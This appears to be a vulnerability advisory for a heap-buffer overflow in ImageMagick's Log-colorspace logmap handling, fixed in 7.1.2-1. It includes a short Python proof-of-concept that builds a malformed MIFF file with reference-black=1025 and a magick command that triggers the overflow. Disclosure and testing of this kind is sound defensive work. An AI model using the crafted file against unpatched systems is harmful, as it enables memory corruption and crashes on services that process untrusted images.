Title: ImageMagick: heap-buffer overflow in log colorspace handling
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version 7.1.2-1, when preparing to transform from Log to sRGB colorspaces, the logmap construction fails to handle cases where the reference-black or reference-white value is larger than 1024. This leads to corrupting memory beyond the end of the allocated logmap buffer. This issue has been patched in version 7.1.2-1.
- generate_testcase.py
# Create a minimal 1x1 Log MIFF file with a large reference-black property miff = f"""id=ImageMagick class=DirectClass colorspace=Log columns=1 rows=1 reference-black=1025 \x0c\x00\x00\x00\x00\x00\x00""".encode('ascii') with open("miff_black.miff", "wb") as tmp: tmp.write(miff)
python3 ./generate_testcase.py utilities/magick ./miff_black.miff -resize 200x200 PNG:output.png